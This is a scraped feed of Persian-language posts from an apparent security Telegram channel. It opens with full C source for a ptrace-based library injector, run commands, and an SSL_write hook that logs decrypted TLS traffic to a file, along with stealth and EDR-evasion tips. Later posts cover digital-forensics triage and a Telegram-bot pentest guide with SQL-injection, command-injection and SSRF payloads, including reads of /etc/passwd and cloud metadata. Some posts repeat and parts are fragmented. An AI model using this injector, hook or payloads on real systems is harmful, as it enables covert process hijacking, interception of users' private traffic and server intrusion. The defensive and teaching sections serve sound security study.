Mr. SAM
کد injector.c :
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <dlfcn.h>
#include <elf.h>
#include <link.h>
void* find_remote_function_address(pid_t target_pid, const char* lib_name, const char* func_name) {
void* local_handle = dlopen(lib_name, RTLD_LAZY);
if (!local_handle) return NULL;
void* local_addr = dlsym(local_handle, func_name);
if (!local_addr) { dlclose(local_handle); return NULL; }
Dl_info info;
if (!dladdr(local_addr, &info)) { dlclose(local_handle); return NULL; }
dlclose(local_handle);
long offset = (long)local_addr - (long)info.dli_fbase;
char maps_path[256];
sprintf(maps_path, "/proc/%d/maps", target_pid);
FILE* maps_file = fopen(maps_path, "r");
if (!maps_file) return NULL;
char line[512];
void* remote_base_addr = NULL;
while (fgets(line, sizeof(line), maps_file)) {
if (strstr(line, lib_name) && strstr(line, "r-xp")) {
sscanf(line, "%p-%*p", &remote_base_addr);
break;
}
}
fclose(maps_file);
if (!remote_base_addr) return NULL;
return (void*)((long)remote_base_addr + offset);
}
int write_to_process_memory(pid_t pid, void* addr, const char* data, size_t len) {
for (size_t i = 0; i < len; i += sizeof(long)) {
long word = 0;
memcpy(&word, data + i, sizeof(long));
if (ptrace(PTRACE_POKETEXT, pid, (char*)addr + i, word) == -1) {
perror("PTRACE_POKETEXT");
return -1;
}
}
return 0;
}
int main(int argc, char* argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <pid> <path_to_so>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
char* so_path = argv[2];
printf("-> Targeting PID: %d\n", target_pid);
printf("-> Attaching to process...\n");
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { perror("PTRACE_ATTACH"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Finding address of dlopen...\n");
void* remote_dlopen_addr = find_remote_function_address(target_pid, "libc.so.6", "__libc_dlopen_mode");
if (!remote_dlopen_addr) {
fprintf(stderr, "Error: Could not find address of dlopen.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 1;
}
printf("-> Remote dlopen address: %p\n", remote_dlopen_addr);
struct user_regs_struct old_regs, regs;
if (ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_GETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
memcpy(®s, &old_regs, sizeof(struct user_regs_struct));
void* remote_stack_addr = (void*)(regs.rsp - strlen(so_path) - 1);
printf("-> Writing payload path to remote stack at %p\n", remote_stack_addr);
write_to_process_memory(target_pid, remote_stack_addr, so_path, strlen(so_path) + 1);
regs.rdi = (unsigned long long)remote_stack_addr;
regs.rsi = RTLD_LAZY;
regs.rip = (unsigned long long)remote_dlopen_addr;
printf("-> Executing remote call to dlopen...\n");
if (ptrace(PTRACE_SETREGS, target_pid, NULL, ®s) == -1) { perror("PTRACE_SETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) == -1) { perror("PTRACE_CONT"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Remote call finished. Restoring state...\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
if (regs.rax == 0) { fprintf(stderr, "Error: Remote dlopen call failed.\n"); }
else { printf("-> Injection successful! Handle: %llx\n", regs.rax); }
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_SETREGS (restore)"); }
printf("-> Detaching from process.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 0;
}
🔥1
Mr. SAM
کد injector.c : #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/user.h> #include <dlfcn.h> #include <elf.h> #include <link.h> void* find_remo…
نحوه کامپایل و اجرا:
1. کامپایل Injector:
2. پیدا کردن فرآیند هدف:
3. اجرای تزریق:
4. تأیید موفقیت:
پیشرفتهتر
یک مهاجم حرفهای صرفاً به اجرای یک کد ساده بسنده نمیکند.
۱. پایداری و مخفیسازی (Persistence & Stealth)
* حذف ردپا از دیسک: به جای قرار دادن فایل
* دور زدن مکانیزمهای تشخیص: بسیاری از ابزارهای امنیتی و EDR ها، استفاده مشکوک از
* پاکسازی (Unhooking): پس از انجام عملیات مخرب، کتابخانه تزریق شده میتواند خود را از حافظه فرآیند با استفاده از
۲. هوک کردن توابع (Function Hooking)
قدرت واقعی این تکنیک در هوک کردن توابع است. فرض کنید میخواهیم تمام دادههایی که یک برنامه از طریق توابع
مثال Hooking SSL_write:
وقتی این کتابخانه تزریق شود، هر بار که برنامه هدف تلاش کند دادهای را با
*۔ dlsym(RTLD_NEXT, "SSL_write") : این یک فراخوانی کلیدی است.
راهکارهای شناسایی و مقابله
1. مانیتورینگ ptrace syscall : ابزارهای مدرن تزریق از
2. بررسی /proc/<PID>/maps : این فایل مجازی، نقشه حافظه یک فرآیند را نشان میدهد. مدیران سیستم و ابزارهای امنیتی میتوانند این فایل را به صورت دورهای اسکن کنند تا بارگذاری کتابخانههای غیرمنتظره یا ناشناس را در فرآیندهای حساس شناسایی کنند.
3. استفاده از Secure Boot و IMA (Integrity Measurement Architecture) : این مکانیزمهای امنیتی در سطح کرنل میتوانند یکپارچگی فایلهای اجرایی و کتابخانهها را قبل از بارگذاری تأیید کنند
4. محدود کردن با Seccomp-bpf , SELinux یا AppArmor : میتوان سیاستهایی را اعمال کرد که به فرآیندها اجازه ندهد
5. تحلیل استاتیک و دینامیک: بررسی باینریهای ناشناس برای یافتن رشتههایی مانند
خلاصه مطلب
تکنیک استفاده از
@NullError_ir
1. کامپایل Injector:
gcc injector.c -o injector -ldl
2. پیدا کردن فرآیند هدف:
sleep 1000 &
# [1] 12345 <-- این PID فرآیند هدف شماست
3. اجرای تزریق:
sudo ./injector 12345 $(pwd)/payload.so
4. تأیید موفقیت:
cat /tmp/injection_log.txt
# خروجی: Library injected successfully into process with PID: 12345
پیشرفتهتر
یک مهاجم حرفهای صرفاً به اجرای یک کد ساده بسنده نمیکند.
۱. پایداری و مخفیسازی (Persistence & Stealth)
* حذف ردپا از دیسک: به جای قرار دادن فایل
.so روی دیسک، میتوان از تکنیک memfd_create استفاده کرد. در این روش، یک فایل ناشناس در حافظه RAM ایجاد میشود، بایتهای کتابخانه مخرب در آن نوشته شده و سپس از طریق مسیر /proc/self/fd/<fd> به dlopen داده میشود. این کار تحلیل forensics را دشوارتر میکند.* دور زدن مکانیزمهای تشخیص: بسیاری از ابزارهای امنیتی و EDR ها، استفاده مشکوک از
ptrace را مانیتور میکنند. برای دور زدن این مکانیزمها، مهاجمان ممکن است از تکنیکهای پیچیدهتری برای اجرای کد بدون ptrace یا پچ کردن مستقیم Dynamic Linker استفاده کنند.* پاکسازی (Unhooking): پس از انجام عملیات مخرب، کتابخانه تزریق شده میتواند خود را از حافظه فرآیند با استفاده از
dlclose تخلیه کند تا هیچ ردپایی از خود به جای نگذارد.۲. هوک کردن توابع (Function Hooking)
قدرت واقعی این تکنیک در هوک کردن توابع است. فرض کنید میخواهیم تمام دادههایی که یک برنامه از طریق توابع
SSL/TLS ارسال میکند را شنود کنیم.مثال Hooking SSL_write:
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <openssl/ssl.h>
static int (*original_SSL_write)(SSL *ssl, const void *buf, int num);
int SSL_write(SSL *ssl, const void *buf, int num) {
if (!original_SSL_write) {
original_SSL_write = dlsym(RTLD_NEXT, "SSL_write");
}
FILE *log = fopen("/tmp/ssl_log.txt", "a");
if (log) {
fwrite(buf, 1, num, log);
fclose(log);
}
return original_SSL_write(ssl, buf, num);
}
وقتی این کتابخانه تزریق شود، هر بار که برنامه هدف تلاش کند دادهای را با
SSL_write ارسال کند، ابتدا کد مخرب ما اجرا شده، دادهها را در یک فایل لاگ ذخیره میکند و سپس تابع اصلی را برای حفظ عملکرد عادی برنامه فراخوانی میکند.*۔ dlsym(RTLD_NEXT, "SSL_write") : این یک فراخوانی کلیدی است.
RTLD_NEXT یک هندل ویژه است که به dlsym میگوید: "به دنبال اولین رخداد (occurrence) از SSL_write *بعد از* کتابخانه فعلی من بگرد". این تضمین میکند که ما آدرس تابع اصلی را پیدا میکنیم و در یک حلقه بازگشتی بینهایت گرفتار نمیشویم.راهکارهای شناسایی و مقابله
1. مانیتورینگ ptrace syscall : ابزارهای مدرن تزریق از
syscall به نام ptrace استفاده میکنند. سیستمهای امنیتی میتوانند فراخوانیهای مشکوک ptrace را شناسایی کنند، به خصوص اگر توسط یک فرآیند ناشناس به یک فرآیند حساس (مانند مرورگر یا سرور SSH) انجام شود.2. بررسی /proc/<PID>/maps : این فایل مجازی، نقشه حافظه یک فرآیند را نشان میدهد. مدیران سیستم و ابزارهای امنیتی میتوانند این فایل را به صورت دورهای اسکن کنند تا بارگذاری کتابخانههای غیرمنتظره یا ناشناس را در فرآیندهای حساس شناسایی کنند.
3. استفاده از Secure Boot و IMA (Integrity Measurement Architecture) : این مکانیزمهای امنیتی در سطح کرنل میتوانند یکپارچگی فایلهای اجرایی و کتابخانهها را قبل از بارگذاری تأیید کنند
4. محدود کردن با Seccomp-bpf , SELinux یا AppArmor : میتوان سیاستهایی را اعمال کرد که به فرآیندها اجازه ندهد
syscall های خطرناکی مانند ptrace را اجرا کنند یا متغیرهای محیطی مانند LD_PRELOAD را مقداردهی کنند.5. تحلیل استاتیک و دینامیک: بررسی باینریهای ناشناس برای یافتن رشتههایی مانند
ptrace, dlopen و... میتواند به شناسایی ابزارهای تزریق کمک کند.خلاصه مطلب
تکنیک استفاده از
LD_PRELOAD یک روش قدرتمند و کلاسیک برای دستکاری فرآیندها در لینوکس است. با این حال، اجرای مدرن و مخفیانه این تکنیک، نیازمند کنار گذاشتن اسکریپتهای قدیمی و استفاده از ابزارهای سفارشی مبتنی بر ptrace است. درک عمیق مکانیزمهای زیربنایی مانند Dynamic Linker ، ptrace و هوک کردن توابع، این تکنیک را به یک ابزار بسیار خطرناک در دستان یک مهاجم تبدیل میکند. برای متخصصان امنیت، شناخت دقیق این روشها و نقاط ضعف آنها، کلید طراحی سیستمهای دفاعی مؤثر و شناسایی حملات پیچیده در محیطهای لینوکسی است.@NullError_ir
فارنزیک دیجیتال : گامهای نخستین در حملات سایبری
در دنیای امنیت سایبری، سرعت و دقت در لحظات اولیه پس از شناسایی یک حادثه، نقشی حیاتی در مهار خسارت و شناسایی مهاجم ایفا میکند. اولین گامها در تحقیق حملات سایبری ، به زیبایی این لحظات بحرانی را به ترازوی عدالتی تشبیه میکند که در یک کفه آن، سرعت عمل تیم پاسخ به حوادث (IR) و در کفه دیگر، دقت و صحت تحلیل تیم فارنزیک دیجیتال (DFIR) قرار دارد. برقراری تعادل میان این دو، شاهکلید یک تحقیق موفق است.
گام اول: شناسایی و ارزیابی اولیه (Initial Triage)
اولین و مهمترین اقدام، درک سریع ابعاد و ماهیت حادثه است. در این مرحله، تحلیلگر باید به سوالات اساسی پاسخ دهد:
- چه اتفاقی افتاده است؟ آیا با یک آلودگی بدافزاری، نشت داده، یا دسترسی غیرمجاز مواجه هستیم؟
- چه سیستمهایی تحت تأثیر قرار گرفتهاند؟ شناسایی میزبانها (hosts)، سرورها و حسابهای کاربری درگیر، برای محدود کردن دامنه تحقیق ضروری است.
- چه زمانی این اتفاق رخ داده است؟ تعیین یک خط زمانی اولیه (timeline) به درک توالی رویدادها کمک شایانی میکند.
- میزان تأثیر و خسارت چقدر است؟ ارزیابی اولیه خسارت به اولویتبندی اقدامات بعدی کمک میکند.
در این فاز، سرعت بر عمق تحلیل اولویت دارد. هدف، به دست آوردن یک تصویر کلی از حادثه برای تصمیمگیریهای استراتژیک بعدی است.
گام دوم: جمعآوری دادههای فرّار (Volatile Data Collection)
بسیاری از شواهد دیجیتال حیاتی، به شدت "فرّار" هستند و با یک reboot ساده یا گذشت زمان از بین میروند. قبل از هرگونه اقدام برای مهار یا پاکسازی، جمعآوری این دادهها از سیستمهای آلوده الزامی است. این دادهها شامل موارد زیر است:
- حافظه RAM: گنجینهای از اطلاعات شامل فرآیندهای در حال اجرا، کانکشنهای شبکه، کلیدهای رمزنگاری و فعالیتهای اخیر کاربر. ابزارهایی مانند
Volatility و Redline برای تحلیل آن ضروری هستند.- وضعیت شبکه: کانکشنهای فعال (
netstat ) ، کش DNS و جدول ARP میتوانند اطلاعات ارزشمندی در مورد ارتباطات مهاجم با سرورهای Command and Control (C2) ارائه دهند.- فرآیندهای در حال اجرا: لیست فرآیندها میتواند به شناسایی بدافزارهای فعال و ابزارهای مورد استفاده مهاجم کمک کند.
- اطلاعات سیستم و زمان login کاربران: این دادهها به ساختن timeline دقیقتر حادثه کمک میکنند.
به خاطر داشته باشید، جمعآوری دادههای فرّار باید با کمترین تأثیر ممکن بر روی سیستم قربانی (live system) انجام شود تا شواهد دستکاری نشوند.
گام سوم: ایجاد ایمیج از دیسک (Disk Imaging)
پس از جمعآوری دادههای فرّار، نوبت به حفظ وضعیت پایدار سیستم میرسد. ایجاد یک ایمیج کامل و بیت-به-بیت از دیسک سخت سیستمهای آلوده، یک اصل اساسی در فارنزیک دیجیتال است. این کار دو مزیت اصلی دارد:
1. حفظ شواهد: یک کپی دقیق و دستنخورده از شواهد دیجیتال برای تحلیلهای بعدی و ارائه به مراجع قانونی فراهم میکند.
2. امکان تحلیل آفلاین: تحلیلگر میتواند بدون نگرانی از تغییر یا آسیب رساندن به سیستم اصلی، ایمیج را در یک محیط آزمایشگاهی ایزوله (sandbox) تحلیل کند.
ابزارهایی مانند
dd , FTK-Imager و EnCase برای این منظور استفاده میشوند. محاسبه و ثبت هش (hash) ایمیج (مانند SHA-256) برای تضمین یکپارچگی و عدم تغییر آن (Chain of Custody) حیاتی است.گام چهارم: تحلیل اولیه (Initial Analysis)
با در اختیار داشتن دادههای فرّار و ایمیج دیسک، تحلیلگر میتواند به دنبال شاخصهای نفوذ (Indicators of Compromise - IoCs) و تاکتیکها، تکنیکها و رویههای (TTPs) مهاجم بگردد. این مرحله شامل موارد زیر است:
- تحلیل Timeline: ایجاد یک خط زمانی دقیق از رویدادها با استفاده از timestamp فایلها، لاگهای سیستم و رویدادهای ثبت شده.
- بررسی لاگها: جستجو در لاگهای سیستمعامل (Event Logs)، لاگهای وبسرور، فایروال و دیگر برنامهها برای یافتن فعالیتهای مشکوک.
- جستجوی Persistence Mechanisms: بررسی روشهایی که مهاجم برای حفظ دسترسی خود پس از reboot سیستم به کار برده است (مانند scheduled tasks, registry keys, services).
- تحلیل فایلهای مشکوک: استخراج و تحلیل فایلهای اجرایی، اسکریپتها و بدافزارهای احتمالی در یک محیط امن.
نتیجهگیری و آمادگی:
1. تهیه Playbook: سازمانها باید یک دستورالعمل مُدَوَن برای پاسخ به انواع مختلف حوادث سایبری داشته باشند. این سند باید مراحل کار، مسئولیتها و ابزارهای مورد نیاز را به وضوح مشخص کند.
2. آمادهسازی ابزارها: یک کیت ابزار پاسخ به حوادث که شامل نرمافزارهای لازم برای جمعآوری دادههای فرّار و ایمیجگیری است، باید از قبل آماده و در دسترس باشد.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
3. آموزش و تمرین: تیم امنیت باید به طور منظم سناریوهای مختلف حمله را شبیهسازی و تمرین کند (Tabletop Exercises) تا در زمان وقوع حادثه واقعی، هماهنگ و کارآمد عمل نمایند.
4. حفظ زنجیره مستندات (Chain of Custody): تمامی اقدامات، از لحظه شناسایی تا پایان تحلیل، باید به دقت مستندسازی شوند. این مستندات برای تحلیلهای آتی و پیگیریهای حقوقی ضروری است.
در نهایت، به یاد داشته باشید که در ترازوی فارنزیک، هر دو کفه "سرعت" و "دقت" باید هموزن باشند. عجله بیش از حد منجر به از دست رفتن شواهد کلیدی میشود و وسواس بیش از حد در تحلیل، به مهاجم فرصت میدهد تا خسارت بیشتری وارد کرده و ردپای خود را پاک کند.
@NullError_ir
4. حفظ زنجیره مستندات (Chain of Custody): تمامی اقدامات، از لحظه شناسایی تا پایان تحلیل، باید به دقت مستندسازی شوند. این مستندات برای تحلیلهای آتی و پیگیریهای حقوقی ضروری است.
در نهایت، به یاد داشته باشید که در ترازوی فارنزیک، هر دو کفه "سرعت" و "دقت" باید هموزن باشند. عجله بیش از حد منجر به از دست رفتن شواهد کلیدی میشود و وسواس بیش از حد در تحلیل، به مهاجم فرصت میدهد تا خسارت بیشتری وارد کرده و ردپای خود را پاک کند.
@NullError_ir
🔥1
تست نفوذ و امنسازی رباتهای تلگرام
(از شناسایی تا بهرهبرداری)
مقدمه: معماری و سطح حمله (Attack Surface)
برخلاف تصور اولیه، تست نفوذ یک ربات تلگرام، آزمودن زیرساخت خود تلگرام نیست. آسیبپذیریها تقریباً همیشه در سرور پشتیبان (Backend Server) که منطق ربات را پیادهسازی میکند، وجود دارند.
معماری یک ربات تلگرام به صورت زیر است:
کاربر <--> سرورهای تلگرام (API) <--> سرور پشتیبان ربات (Backend) <--> پایگاه داده و سرویسهای دیگر سطح حمله ما، سرور پشتیبان ربات است. ربات تلگرام تنها یک واسط (Interface) برای ارسال ورودیهای ما به این سرور و دریافت خروجی از آن است. بنابراین، ما در حال انجام یک تست نفوذ بر روی یک برنامه (معمولاً وب اپلیکیشن بدون رابط کاربری گرافیکی) هستیم که از طریق API تلگرام با دنیای خارج ارتباط برقرار میکند.
فاز ۱: شناسایی و جمعآوری اطلاعات (Reconnaissance)
این مرحله حیاتیترین فاز است و پایه و اساس تمام مراحل بعدی را تشکیل میدهد. هدف، درک کامل از عملکرد ربات، تکنولوژیهای احتمالی و جمعآوری تمام نقاط ورودی ممکن است.
#**۱.۱. شناسایی غیرفعال (Passive Reconnaissance)
* **جمعآوری اطلاعات پایه: نام کاربری ربات (
@username )، نام نمایشی و عکس پروفایل را بررسی کنید.* مهندسی اجتماعی و جستجوی آنلاین:
* به دنبال وبسایت، کانال تلگرام یا گروه مرتبط با ربات بگردید.
* نام ربات یا توسعهدهنده آن را در پلتفرمهایی مانند GitHub جستجو کنید. یافتن کد منبع ربات، یک گنج بزرگ محسوب میشود و تست را از حالت جعبه-سیاه به جعبه-سفید تبدیل میکند.
* از Google Dorking برای یافتن اطلاعات مرتبط با ربات یا دامنه سرور پشتیبان آن استفاده کنید. (
inurl: "bot_name" , site:github.com "bot_name" )#**۱.۲. شناسایی فعال (Active Reconnaissance)
* **تعامل اولیه:
* ربات را با دستور
/start فعال کنید. به پیام خوشآمدگویی، دکمههای کیبورد سفارشی (Custom Keyboard) و گزینههای موجود دقت کنید.* دستور
/help یا مشابه آن را برای دریافت لیست کامل دستورات ارسال کنید.* نقشهبرداری از عملکرد (Functionality Mapping):
* تمام دستورات و دکمهها را فراخوانی کرده و عملکرد هر یک را مستند کنید.
* ورودیهای مورد انتظار برای هر دستور را شناسایی کنید. (
/command {argument1}{argument2} )* به نحوه پاسخ ربات دقت کنید. آیا پاسخها ثابت هستند یا بر اساس ورودی تغییر میکنند؟ آیا لینک، عکس یا فایل ارسال میکند؟
* انگشتنگاری تکنولوژی (Technology Fingerprinting):
* اگر ربات با یک وباپلیکیشن (WebApp) درون تلگرام باز میشود، این یک فرصت عالی برای تحلیل ترافیک HTTP با ابزارهایی مانند Burp Suite و انگشتنگاری سرور وب است.
* به ساختار پیامهای خطا دقت کنید. خطاهای verbose میتوانند اطلاعاتی در مورد زبان برنامهنویسی (Python, Go, PHP)، فریمورک (Django, Express) یا نوع پایگاه داده را فاش کنند.
فاز ۲: تحلیل آسیبپذیری و مدلسازی حمله
با اطلاعات به دست آمده از فاز قبل، اکنون باید فرضیههایی در مورد آسیبپذیریهای محتمل ایجاد کنیم.
* نقاط ورودی داده: تمام پارامترهای دستورات (
/search {query} ), ورودیهای متنی آزاد, ورودیهای دکمههای inline, و هر داده دیگری که از کاربر به سرور ارسال میشود، نقاط بالقوه برای حملات تزریق هستند.* مدلسازی تهدید:
* حملات تزریق (Injection Attacks): اگر ورودی کاربر برای ساخت کوئریهای دیتابیس، دستورات سیستمعامل، یا کوئریهای LDAP استفاده میشود، احتمال حملات SQLi, Command Injection, LDAP Injection وجود دارد.
* منطق کسبوکار (Business Logic Flaws): آیا میتوان منطق ربات را دور زد؟ (مثلاً در یک ربات فروشگاهی، قیمت را دستکاری کرد یا فرآیند پرداخت را رد کرد).
* کنترل دسترسی شکسته (Broken Access Control): آیا کاربران عادی میتوانند به دستورات مدیریتی (مانند
/admin , /panel , /users) دسترسی پیدا کنند؟* جعل درخواست سمت سرور (SSRF): اگر ربات قابلیتی برای دریافت URL از کاربر و پردازش آن دارد (مثلاً برای پیشنمایش لینک یا دانلود فایل)، میتواند به SSRF آسیبپذیر باشد.
* آسیبپذیریهای فایل (File Vulnerabilities): اگر ربات فایل آپلود یا دانلود میکند، میتواند به Path Traversal (LFI/RFI) یا آپلود فایلهای مخرب آسیبپذیر باشد.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
فاز ۳: بهرهبرداری (Exploitation)
این فاز، اجرای عملی فرضیههای مطرح شده در فاز قبل است.
#**۳.۱. تست آسیبپذیریهای تزریق**
۔* SQL Injection (SQLi):
* مثال: رباتی با دستور
* پیلودهای تست:
۔* Boolean-based: ارسال
۔* Time-based: ارسال
۔* Error-based: ارسال کاراکترهای خاص مانند
* ابزار: SQLMap میتواند برای خودکارسازی این فرآیند استفاده شود، البته نیازمند یک اسکریپت واسط برای ارسال درخواستها از طریق API تلگرام است.
۔* Command Injection (RCE):
* مثال: رباتی با دستور
* کد آسیبپذیر (مثال پایتون):
* پیلودهای تست:
۔*
۔*
۔*
۔* ``
* هدف، اجرای دستورات دلخواه بر روی سیستمعامل سرور است.
**۳.۲. تست جعل درخواست سمت سرور (SSRF)
* **مثال: رباتی با دستور
* پیلودهای تست:
* دسترسی به سرویسهای داخلی:
* خواندن فایلهای محلی:
* دسترسی به متادیتای سرویسهای ابری:
۳.۳. تست کنترل دسترسی
* تلاش برای دسترسی مستقیم: به صورت دستی دستورات مدیریتی محتمل را حدس زده و ارسال کنید:
* دستکاری پارامتر (Parameter Tampering): اگر ربات دستوری مانند
۳.۴. تست منطق برنامه
این نوع تست به خلاقیت و درک عمیق از عملکرد ربات نیاز دارد.
* مثال: در یک ربات رأیگیری، آیا میتوان با یک حساب کاربری چندین بار رأی داد؟ آیا میتوان با پاک کردن دادههای ربات (
* مثال: در یک ربات مسابقه، آیا میتوان با ارسال سریع پاسخها یا دستکاری درخواستها، در زمان تقلب کرد؟
فاز ۴: پس از بهرهبرداری (Post-Exploitation)
در صورت موفقیت در فاز قبل (مثلاً کسب دسترسی RCE)، اقدامات زیر در محدوده مجاز تست قابل انجام است:
* شناسایی محیط: اجرای دستوراتی مانند
* ارتقای سطح دسترسی (Privilege Escalation): جستجو برای ضعفهای پیکربندی یا آسیبپذیریهای کرنل برای کسب دسترسی root یا Administrator.
* حرکت جانبی (Lateral Movement): تلاش برای دسترسی به دیگر سیستمها در همان شبکه داخلی.
* استخراج دادهها: دسترسی به پایگاه داده، استخراج اطلاعات کاربران، توکنها یا هر داده حساس دیگری.
فاز ۵: گزارشدهی و امنسازی
یک گزارش تست نفوذ حرفهای باید شامل موارد زیر باشد:
* خلاصه مدیریتی (Executive Summary): توضیح کلی از وضعیت امنیتی و ریسکهای اصلی برای مدیران.
* جزئیات فنی آسیبپذیریها:
* نام آسیبپذیری و امتیاز ریسک آن (مثلاً بر اساس CVSS).
* شرح دقیق آسیبپذیری و تأثیر آن بر کسبوکار.
* مراحل دقیق بازتولید (Steps to Reproduce) همراه با پیلودهای استفاده شده.
* شواهد و مدارک (Screenshots, Logs).
* راهکارهای پیشنهادی برای اصلاح (Remediation): ارائه راهکارهای مشخص، عملی و قابل پیادهسازی.
* **اعتبارسنجی سختگیرانه ورودیها (Input Validation): هرگز به ورودی کاربر اعتماد نکنید. تمام دادههای دریافتی باید بر اساس یک لیست سفید (Whitelist) از کاراکترها، طول و فرمت مجاز، اعتبارسنجی شوند.
* استفاده از (Parameterized Queries): این راهکار اصلی برای جلوگیری از تمام انواع SQL Injection است. در این روش، کوئری و داده به صورت جداگانه به درایور پایگاه داده ارسال میشوند.
* کد آسیبپذیر (Python):
* کد امن (Python):
* اصل حداقل دسترسی : پروسس ربات و کاربر پایگاه داده آن باید فقط به منابع و دستوراتی که برای عملکرد صحیح نیاز دارند، دسترسی داشته باشند.
* مدیریت خطای امن: پیامهای خطا نباید هیچگونه اطلاعات حساسی (Stack Traces, Error Codes, File Paths) را به کاربر نمایش دهند.
* محدودیت نرخ درخواست (Rate Limiting): برای جلوگیری از حملات Brute-force، Denial of Service و abuse منطق برنامه، تعداد درخواستهای هر کاربر در یک بازه زمانی مشخص باید محدود شود.
@NullError_ir
این فاز، اجرای عملی فرضیههای مطرح شده در فاز قبل است.
#**۳.۱. تست آسیبپذیریهای تزریق**
۔* SQL Injection (SQLi):
* مثال: رباتی با دستور
/userinfo {username}* پیلودهای تست:
۔* Boolean-based: ارسال
' OR 1=1-- و ' OR 1=2-- و مشاهده تفاوت در پاسخ.۔* Time-based: ارسال
' OR IF(1=1, SLEEP(5), 0)-- و مشاهده تأخیر ۵ ثانیهای در پاسخ.۔* Error-based: ارسال کاراکترهای خاص مانند
' , " برای استخراج پیام خطای دیتابیس.* ابزار: SQLMap میتواند برای خودکارسازی این فرآیند استفاده شود، البته نیازمند یک اسکریپت واسط برای ارسال درخواستها از طریق API تلگرام است.
۔* Command Injection (RCE):
* مثال: رباتی با دستور
/ping {host} که یک آدرس IP را پینگ میکند.* کد آسیبپذیر (مثال پایتون):
os.system("ping -c 1 " + host)* پیلودهای تست:
۔*
8.8.8.8; id۔*
8.8.8.8 && whoami۔*
8.8.8.8 | cat /etc/passwd۔* ``
ls -la `` (backticks)* هدف، اجرای دستورات دلخواه بر روی سیستمعامل سرور است.
**۳.۲. تست جعل درخواست سمت سرور (SSRF)
* **مثال: رباتی با دستور
/preview {URL}* پیلودهای تست:
* دسترسی به سرویسهای داخلی:
http://localhost , http://127.0.0.1:8080* خواندن فایلهای محلی:
file:///etc/passwd , file:///c:/windows/win.ini* دسترسی به متادیتای سرویسهای ابری:
http://169.254.169.254/latest/meta-data/ (در AWS)۳.۳. تست کنترل دسترسی
* تلاش برای دسترسی مستقیم: به صورت دستی دستورات مدیریتی محتمل را حدس زده و ارسال کنید:
/admin , /settings , /broadcast , /get_users .* دستکاری پارامتر (Parameter Tampering): اگر ربات دستوری مانند
/my_orders دارد، سعی کنید با ارسال /orders?user_id=12345 به اطلاعات دیگر کاربران دسترسی پیدا کنید. (این سناریو بیشتر در وباپلیکیشنهای متصل به ربات کاربرد دارد).۳.۴. تست منطق برنامه
این نوع تست به خلاقیت و درک عمیق از عملکرد ربات نیاز دارد.
* مثال: در یک ربات رأیگیری، آیا میتوان با یک حساب کاربری چندین بار رأی داد؟ آیا میتوان با پاک کردن دادههای ربات (
/clear ) دوباره رأی داد؟* مثال: در یک ربات مسابقه، آیا میتوان با ارسال سریع پاسخها یا دستکاری درخواستها، در زمان تقلب کرد؟
فاز ۴: پس از بهرهبرداری (Post-Exploitation)
در صورت موفقیت در فاز قبل (مثلاً کسب دسترسی RCE)، اقدامات زیر در محدوده مجاز تست قابل انجام است:
* شناسایی محیط: اجرای دستوراتی مانند
whoami , id , uname -a , ip a , ps aux برای درک محیط فعلی.* ارتقای سطح دسترسی (Privilege Escalation): جستجو برای ضعفهای پیکربندی یا آسیبپذیریهای کرنل برای کسب دسترسی root یا Administrator.
* حرکت جانبی (Lateral Movement): تلاش برای دسترسی به دیگر سیستمها در همان شبکه داخلی.
* استخراج دادهها: دسترسی به پایگاه داده، استخراج اطلاعات کاربران، توکنها یا هر داده حساس دیگری.
فاز ۵: گزارشدهی و امنسازی
یک گزارش تست نفوذ حرفهای باید شامل موارد زیر باشد:
* خلاصه مدیریتی (Executive Summary): توضیح کلی از وضعیت امنیتی و ریسکهای اصلی برای مدیران.
* جزئیات فنی آسیبپذیریها:
* نام آسیبپذیری و امتیاز ریسک آن (مثلاً بر اساس CVSS).
* شرح دقیق آسیبپذیری و تأثیر آن بر کسبوکار.
* مراحل دقیق بازتولید (Steps to Reproduce) همراه با پیلودهای استفاده شده.
* شواهد و مدارک (Screenshots, Logs).
* راهکارهای پیشنهادی برای اصلاح (Remediation): ارائه راهکارهای مشخص، عملی و قابل پیادهسازی.
* **اعتبارسنجی سختگیرانه ورودیها (Input Validation): هرگز به ورودی کاربر اعتماد نکنید. تمام دادههای دریافتی باید بر اساس یک لیست سفید (Whitelist) از کاراکترها، طول و فرمت مجاز، اعتبارسنجی شوند.
* استفاده از (Parameterized Queries): این راهکار اصلی برای جلوگیری از تمام انواع SQL Injection است. در این روش، کوئری و داده به صورت جداگانه به درایور پایگاه داده ارسال میشوند.
* کد آسیبپذیر (Python):
cursor.execute("SELECT * FROM users WHERE id = %s" % user_id)* کد امن (Python):
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))* اصل حداقل دسترسی : پروسس ربات و کاربر پایگاه داده آن باید فقط به منابع و دستوراتی که برای عملکرد صحیح نیاز دارند، دسترسی داشته باشند.
* مدیریت خطای امن: پیامهای خطا نباید هیچگونه اطلاعات حساسی (Stack Traces, Error Codes, File Paths) را به کاربر نمایش دهند.
* محدودیت نرخ درخواست (Rate Limiting): برای جلوگیری از حملات Brute-force، Denial of Service و abuse منطق برنامه، تعداد درخواستهای هر کاربر در یک بازه زمانی مشخص باید محدود شود.
@NullError_ir
